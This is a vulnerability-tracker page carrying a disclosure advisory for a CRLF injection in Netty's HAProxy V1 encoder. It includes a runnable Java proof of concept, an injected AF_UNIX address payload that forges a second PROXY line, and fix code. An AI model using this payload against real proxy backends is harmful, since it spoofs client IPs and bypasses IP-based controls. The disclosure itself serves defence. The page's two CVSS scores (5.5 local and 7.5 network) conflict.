Kestrel
대시보드로 돌아가기
CVE-2026-59919MEDIUM· 5.5GHSA대응게시일: 2026. 07. 22.수정일: 2026. 07. 22.

Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
5.5medium

이론적 심각도 점수

EPSS
—

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한차기 업그레이드 시CISA SSVC 기준

별도 긴급 패치 불필요 — 정기 시스템 업그레이드 주기에 맞춰 조치

· KEV 미등재 · 자동화 어려움 · 부분 영향 · 내부 한정

CVSS 벡터 · 메트릭

악용 경로
공격 벡터로컬
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향높음
가용성 영향없음
버전별 점수
CVSS 3.15.5MODERATE
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

상세 설명

Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty

  1. Vulnerability Summary

FieldValue
ProductNetty
Version4.2.12.Final (and all prior versions with codec-haproxy)
Componentio.netty.handler.codec.haproxy.HAProxyMessageEncoder
Vulnerability TypeCWE-93: Improper Neutralization of CRLF Sequences
ImpactHAProxy PROXY Protocol Injection / Client IP Spoofing
CVSS 3.1 Score7.5 (High)
CVSS 3.1 VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

  1. Affected Components

  • io.netty.handler.codec.haproxy.HAProxyMessageEncoder — encodeV1() method (lines 63-77): writes sourceAddress and destinationAddress directly to output without CRLF validation
  • io.netty.handler.codec.haproxy.HAProxyMessage — constructor checkAddress() validates IPv4/IPv6 format but only checks length for AF_UNIX (line 439)

  1. Vulnerability Description

Netty's HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format without validating for CRLF characters. The V1 protocol uses CRLF (\r\n) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.

Root Cause — Encoder

text
 1// HAProxyMessageEncoder.java:63-77
 2private static void encodeV1(HAProxyMessage msg, ByteBuf out) {
 3    out.writeBytes(TEXT_PREFIX);                                    // "PROXY "
 4    out.writeByte((byte) ' ');
 5    out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // "UNIX_STREAM"
 6    out.writeByte((byte) ' ');
 7    out.writeCharSequence(msg.sourceAddress(), US_ASCII);           // <-- NO CRLF CHECK
 8    out.writeByte((byte) ' ');
 9    out.writeCharSequence(msg.destinationAddress(), US_ASCII);      // <-- NO CRLF CHECK
10    out.writeByte((byte) ' ');
11    // ...
12    out.writeByte((byte) '\r');
13    out.writeByte((byte) '\n');
14}

Root Cause — Insufficient Address Validation

text
 1// HAProxyMessage.java:428-442
 2private static void checkAddress(String address, AddressFamily addrFamily) {
 3    switch (addrFamily) {
 4        case AF_UNIX:
 5            ObjectUtil.checkNotNull(address, "address");
 6            if (address.getBytes(CharsetUtil.US_ASCII).length > 108) {
 7                throw new IllegalArgumentException("invalid AF_UNIX address: " + address);
 8            }
 9            return;  // ONLY checks length <= 108, NO CRLF validation!
10        case AF_IPv4:
11            if (!NetUtil.isValidIpV4Address(address)) { ... }  // Format check blocks CRLF
12        case AF_IPv6:
13            if (!NetUtil.isValidIpV6Address(address)) { ... }  // Format check blocks CRLF
14    }
15}

IPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But AF_UNIX addresses only check length <= 108 — any characters including CRLF are accepted.

  1. Exploitability Prerequisites

This vulnerability is exploitable when:

  1. An application uses Netty's HAProxyMessageEncoder to construct HAProxy V1 protocol headers
  2. AF_UNIX (UNIX_STREAM or UNIX_DGRAM) addresses contain user-controlled input
  3. The encoded PROXY header is sent to a downstream server or load balancer

Affected use cases:

  • PROXY protocol relays that construct AF_UNIX messages from upstream data
  • Load balancer integrations where socket paths come from configuration or external sources
  • Multi-tenant proxies that dynamically construct PROXY headers

  1. Attack Scenario

Client IP Spoofing via Second PROXY Line Injection

text
 1String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";
 2 
 3HAProxyMessage msg = new HAProxyMessage(
 4    HAProxyProtocolVersion.V1,
 5    HAProxyCommand.PROXY,
 6    HAProxyProxiedProtocol.UNIX_STREAM,
 7    maliciousAddr,                    // CRLF-injected source address
 8    "/var/run/dest.sock",
 9    0, 0);

Wire format sent to backend:

text
 1PROXY UNIX_STREAM /var/run/app.sock
 2PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0

The backend receives two PROXY lines. Depending on implementation:

  • HAProxy: may use the first line and ignore the second
  • Other implementations: may use the second line, treating the connection as TCP4 from 10.0.0.1
  • This enables client IP spoofing — the backend believes the client is 10.0.0.1 when it's not

  1. Proof of Concept

Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)

python
 1import io.netty.buffer.ByteBuf;
 2import io.netty.channel.embedded.EmbeddedChannel;
 3import io.netty.handler.codec.haproxy.*;
 4import java.nio.charset.StandardCharsets;
 5 
 6public class HAProxyUnixCRLFPoC {
 7    public static void main(String[] args) {
 8        System.out.println("=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n");
 9 
10        String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";
11        String destAddr = "/var/run/dest.sock";
12 
13        HAProxyMessage msg = new HAProxyMessage(
14            HAProxyProtocolVersion.V1,
15            HAProxyCommand.PROXY,
16            HAProxyProxiedProtocol.UNIX_STREAM,
17            maliciousAddr, destAddr, 0, 0);
18 
19        EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE);
20        ch.writeOutbound(msg);
21 
22        ByteBuf out = ch.readOutbound();
23        String encoded = out.toString(StandardCharsets.UTF_8);
24        out.release();
25        ch.finishAndReleaseAll();
26 
27        System.out.println("Wire format:");
28        for (String line : encoded.split("\n", -1)) {
29            System.out.println("  " + line.replace("\r", "\\r"));
30        }
31 
32        int proxyCount = 0;
33        for (String line : encoded.split("\r\n")) {
34            if (line.startsWith("PROXY")) proxyCount++;
35        }
36        System.out.println("PROXY lines: " + proxyCount);
37        System.out.println("VULNERABLE: " + (proxyCount > 1 ? "YES" : "NO"));
38    }
39}

How to Compile and Run

bash
 1JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
 2  | grep -v sources | grep -v javadoc | tr '\n' ':')
 3javac -cp "$JARS" HAProxyUnixCRLFPoC.java
 4java -cp "$JARS:." HAProxyUnixCRLFPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

text
 1=== Netty HAProxy AF_UNIX CRLF Injection PoC ===
 2 
 3[TEST 1] AF_UNIX Source Address CRLF Injection
 4------------------------------------------------
 5  Source address: "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"
 6  Wire format:
 7    PROXY UNIX_STREAM /var/run/app.sock\r
 8    PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\r
 9 
10  PROXY lines found: 2
11  VULNERABLE: YES - Second PROXY line injected!

  1. Remediation Recommendations

Option 1: Validate AF_UNIX Addresses for CRLF

text
 1// HAProxyMessage.java checkAddress() - add for AF_UNIX:
 2case AF_UNIX:
 3    ObjectUtil.checkNotNull(address, "address");
 4    byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII);
 5    if (addrBytes.length > 108) {
 6        throw new IllegalArgumentException("invalid AF_UNIX address: too long");
 7    }
 8    for (byte b : addrBytes) {
 9        if (b == '\r' || b == '\n') {
10            throw new IllegalArgumentException(
11                "AF_UNIX address contains prohibited CRLF character");
12        }
13    }
14    return;

Option 2: Validate in Encoder

text
 1// HAProxyMessageEncoder.java encodeV1() - validate before writing:
 2private static void validateV1Address(String address) {
 3    for (int i = 0; i < address.length(); i++) {
 4        char c = address.charAt(i);
 5        if (c == '\r' || c == '\n' || c == ' ') {
 6            throw new HAProxyProtocolException(
 7                "V1 address contains prohibited character at index " + i);
 8        }
 9    }
10}

  1. References

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.

참고 자료 4

링크 내용 불러오는 중…